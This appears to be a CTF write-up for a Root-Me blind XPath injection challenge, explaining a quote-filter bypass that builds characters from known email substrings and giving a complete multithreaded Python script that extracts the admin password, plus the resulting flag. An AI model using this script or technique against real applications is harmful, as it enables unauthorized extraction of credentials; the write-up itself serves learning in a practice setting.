Yalla Balagan! A collection of my CTF writeups and solutions.

This challenge on it’s own shouldn’t be so difficult, because this is like simple Blind injection.

The idea is to give this query:

?action=user&userid=1 and substring(//user[userid=2]/password,{i},1)='c'

And just brute-force the char, until we exfiltrate the password of John, which has userid=2 and also he’s an admin, as we can see from the table here: Username | Email | Account type —- | – | — Steve | steve@jobs.com | subscriber John | John@doe.org | administrator Eric | ric@ard.biz | subscriber Jerry | Jerry@tomcat.net | subscriber Elise | Elise@tomcat.net | subscriber

However, the problem is that we can’t use ' or ". In addition, there are no functions like ascii or char, so we are screwed :(

And that’s where I came to this great idea, we can exfiltrate chars, for example if we want to get s, we can take this:

substring(//user[userid=1]/email,1,1)

Because we take the first char of steve@jobs.com, as shown in the table.

So, we can create our mapGadget, and by this way we can achieve huge number of chars!

This is our script:

import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://challenge01.root-me.org/web-serveur/ch24/"
charset = sorted(string.ascii_letters + string.digits + '@.')
true_cond = "Steve's profile"
max_len = 100  # max length of string to extract
max_workers = 10  # number of concurrent threads

mapGadget = {
    'a':'substring(//user[userid=2]/account,1,1)',
    'b':'substring(//user[userid=1]/email,9,1)',
    'c':'substring(//user[userid=3]/email,3,1)',
    'd':'substring(//user[userid=2]/email,6,1)',
    'e':'substring(//user[userid=1]/email,3,1)',
    'f':'None',
    'g':'substring(//user[userid=2]/email,12,1)',
    'h':'substring(//user[userid=2]/email,3,1)',
    'i':'substring(//user[userid=3]/email,2,1)',
    'j':'substring(//user[userid=1]/email,7,1)',
    'k':'None',
    'l':'substring(//user[userid=5]/email,2,1)',
    'm':'substring(//user[userid=4]/email,9,1)',
    'n':'substring(//user[userid=2]/email,4,1)',
    'o':'substring(//user[userid=2]/email,2,1)',
    'p':'None',
    'q':'None',
    'r':'substring(//user[userid=3]/email,1,1)',
    's':'substring(//user[userid=1]/email,1,1)',
    't':'substring(//user[userid=1]/email,2,1)',
    'u':'substring(//user[userid=1]/account,2,1)',
    'v':'substring(//user[userid=1]/email,4,1)',
    'w':'None',
    'x':'None',
    'y':'substring(//user[userid=4]/email,5,1)',
    'z':'substring(//user[userid=3]/email,11,1)',
    '0':'string(0)',
    '1':'string(1)',
    '2':'string(2)',
    '3':'string(3)',
    '4':'string(4)',    
    '5':'string(5)',
    '6':'string(6)',
    '7':'string(7)',
    '8':'string(8)',
    '9':'string(9)',
    'A':'None',
    'B':'None',
    'C':'None',
    'D':'None',
    'E':'substring(//user[userid=3]/username,1,1)',
    'F':'None',
    'G':'None',
    'H':'None',
    'I':'None',
    'J':'substring(//user[userid=2]/username,1,1)',
    'K':'None',
    'L':'None',
    'M':'None',
    'N':'None',
    'O':'None',
    'P':'None',
    'Q':'None',
    'R':'None',
    'S':'substring(//user[userid=1]/username,1,1)',
    'T':'None',
    'U':'None',
    'V':'None',
    'W':'None',
    'X':'None',
    'Y':'None',
    'Z':'None',
    '.':'substring(//user[userid=1]/email,11,1)',
    '@':'substring(//user[userid=3]/email,4,1)',
}

session = requests.Session()

def check_condition(query, pos, ch):
    data = {'msg':'msg'}
    payload = f"?action=user&userid=1 and substring({query},{pos},1)={mapGadget[ch]}"
    try:
        r = session.post(url+payload, data=data, timeout=5)
        # print(f"[i] Checking condition: {query}, pos: {pos}, char: {ch} -> {mapGadget[ch]}")
        return true_cond in r.text
    except requests.RequestException:
        return False

def extract(query):
    """
    Extracts string result of SQL query from position 1 up to max_len.
    Uses threading to speed up extracting multiple positions in parallel.
    """
    result = [""] * max_len  # pre-allocate list for characters

    def worker(pos):
        for ch in charset:
            if check_condition(query, pos, ch):
                return pos, ch
        return pos, None

    print(f"[i] Starting extraction from: {query}")

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(worker, pos) for pos in range(1, max_len + 1)]

        for future in as_completed(futures):
            pos, ch = future.result()
            if ch is None:
                # No char found, treat as end of string
                print(f"[-] No character found at position {pos}, stopping extraction.")
                # Cancel remaining futures (not guaranteed but try)
                for f in futures:
                    f.cancel()
                break
            else:
                result[pos - 1] = ch
                print(f"[+] Position {pos}: {ch}")

    extracted = "".join(result).rstrip("\x00 ").strip()
    print(f"\n[+] Extraction complete:\n{extracted}")
    return extracted

if __name__ == "__main__":
    password1 = extract("//user[userid=2]/password")

And after execution, we get:

ueiJ4a65@1.oS

FINAL

Flag: ueiJ4a65@1.oS